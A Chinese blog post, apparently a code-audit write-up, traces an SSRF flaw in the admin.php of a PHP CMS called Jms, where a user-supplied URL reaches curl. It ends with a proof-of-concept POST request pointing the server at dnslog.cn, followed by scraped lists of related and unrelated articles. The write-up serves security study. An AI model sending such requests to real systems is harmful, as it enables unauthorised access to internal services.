在先知上看见一人发的文章.. 一看ID这么熟悉 原来是一个群友

唉 自己审计这么垃圾 几百年没搞过了 然后玩玩吧

一打开源码 我吐了

ctrl+alt+l格式化下代码 顺眼多了

然后Seay走了一波 ,发现admin.php下的交互点比较大 就打开看下

line 28-44

这可还行 一点进去curl_init,具体看下这个Cur方法吧

function Cur($u)
{
$n = curl_init();
curl_setopt($n, CURLOPT_TIMEOUT, 30);
curl_setopt($n, CURLOPT_RETURNTRANSFER, TRUE);
if (substr($u, 0, 8) == "https://") {
curl_setopt($n, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($n, CURLOPT_SSL_VERIFYHOST, FALSE);
}
curl_setopt($n, CURLOPT_URL, $u);
curl_setopt($n, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:134.175.' . rand(80, 255) . '.' . rand(80, 255), 'CLIENT-IP:192.168.0.2'));
curl_setopt($n, CURLOPT_REFERER, "https://pjjx.1688.com/");
curl_setopt($n, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3823.400 QQBrowser/10.7.4307.400");
$s = curl_exec($n);
curl_close($n);
return $s;
}

我们把侧重点放在CURLOPT_URL就可以,可以看见后面$u 可控 就是传递过来的参数

全局搜一波吧



一共俩

在变量m

去追下变量m

$m = file_get_contents("php://input");

Line 46

我这次get到的php新知识就是这个

我一开始想file_get_contents不是读取吗, php://input不是php的伪协议吗 这是个嘛玩意 然后就去搜了下

https://blog.csdn.net/huangjingwen1129/article/details/82858573

也就是POST请求, Content-Type 是 application/x-www-form-urlencoded 或 multipart/form-data 时,会将变量以关联数组形式传入当前脚本

然后下面第50行又会去调用Dec方法 追进去瞅一眼

function Dec($s, $c = false)
{
$s = json_decode($s, true);
if (json_last_error()) die('{"msg":"Request JSON Parse Error."}');
return $c ? Rpl($s) : $s;
}

没啥..

然后这个点是一个switch case结构

act==sbu

PS: 有一个sid参数的值我不知道咋来的 所以我就直接通过后台 用了一个功能 改了下他的请求包就可以

加入Bu 后面跟url

最终POC

POST /www.test.com/admin.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 75
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/www.test.com/admin.php
Cookie: Jms_FromID=; Jms_BackURL=http%253A//127.0.0.1/www.test.com/item.php%253Fid%253D7 {"act":"sbu","uid":"1","sid":"Wf0001ELmbuaf6h3","Bu":"http://dnslog.cn"}

漏洞证明

Jms - SSRF - 代码审计的更多相关文章

  1. 记一次简单的PHP代码审计(SSRF案例)

    题目链接: http://oj.momomoxiaoxi.com:9090/ 用dirsearch对网址进行扫描,发现robots.txt 命令行: python3 dirsearch.py -u & ...

  2. java代码审计中的一些常见漏洞及其特征函数

    文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...

  3. ref:JAVA代码审计的一些Tips(附脚本)

    ref:https://xz.aliyun.com/t/1633/ JAVA代码审计的一些Tips(附脚本) 概述 本文重点介绍JAVA安全编码与代码审计基础知识,会以漏洞及安全编码示例的方式介绍JA ...

  4. 熊海cms v1.0 完全代码审计

    很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...

  5. Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)

    1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...

  6. Java Web代码审计流程与漏洞函数

    常见框架与组合 常见框架 Struts2 SpringMVC Spring Boot 框架执行流程 View层:视图层 Controller层:表现层 Service层:业务层 Dom层:持久层 常见 ...

  7. 代码审计变成CTF

    0x01 代码审计中的信息收集 一个cms代码量确实不少,通读代码耗时长,效果也不一定好.而一个功能点如果之前出过漏洞,特别是多次出现漏洞的地方,证明开发者对这个漏洞的理解不充分,很容易再次绕过补丁. ...

  8. 网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件

    0x00知识点:SSRF SSRF (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...

  9. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

随机推荐

  1. UVA 11475 Extend to Palindrome hash

    题意: 给出一个字符串,让你往后添加最少的字符,使其成为回文串. 分析: 题目就相当于求后缀字符串为回文串的最长长度,判断回文串要O(n)时间,直接判断肯定不行.我们从后往前枚举,每次字符串与上一个字 ...

  2. SpringBoot:WebSocket使用Service层的方法

    方法一: 创建工具类 ApplicationContextRegister.java import org.springframework.beans.BeansException; import o ...

  3. mybatis中使用selectKey,返回结果一直是1

    转:https://www.cnblogs.com/caizhen/p/9186608.html mybatis中使用selectKey,返回结果一直是1,结合这个问题,笔记一下selectKey标签 ...

  4. java设计模式(10):代理模式(Proxy)

    一,定义:  代理模式(Proxy):为其他对象提供一种代理以控制对这个对象的访问. 二,其类图: 三,分类一:静态代理 1,介绍:也就是需要我们为目标对象编写一个代理对象,在编译期就生成了这个代理对 ...

  5. linux菜鸡学习之路

    Linux入门 Linux 介绍 1.Linux怎么读 2.Linux是一款操作系统,免费,开源,安全,高效,稳定,处理高并发非常强悍. Linux文件系统目录 基本介绍 linux的文件系统树状目录 ...

  6. 《Do Neural Dialog Systems Use the Conversation History Effectively? An Empirical Study》

    https://zhuanlan.zhihu.com/p/73723782 请复制粘贴到markdown 查看器查看! Do Neural Dialog Systems Use the Convers ...

  7. Quzrtz.net 示例

    //框架.Net Core 2.0//先用Nuget 安装最新quartz.net using System; using Quartz; using Quartz.Impl; using Syste ...

  8. Ubuntu虚拟机基本环境搭建以及参数设置

    # 设置root账户密码 sudo passwd root # 修改源镜像(提高下载更新速度) sudo apt-get update pip install open-vm-tools pip in ...

  9. python 抓取异常

    aa={"a":2,"b":1} for i in range(10): aa["a"]=aa["a"]-i print ...

  10. C语言:const详解

    希望定义这样一种变量,它的值不能被改变,在整个作用域中都保持固定.例如,用一个变量来表示班级的最大人数,或者表示缓冲区的大小.为了满足这一要求,可以使用const关键字对变量加以限定:const in ...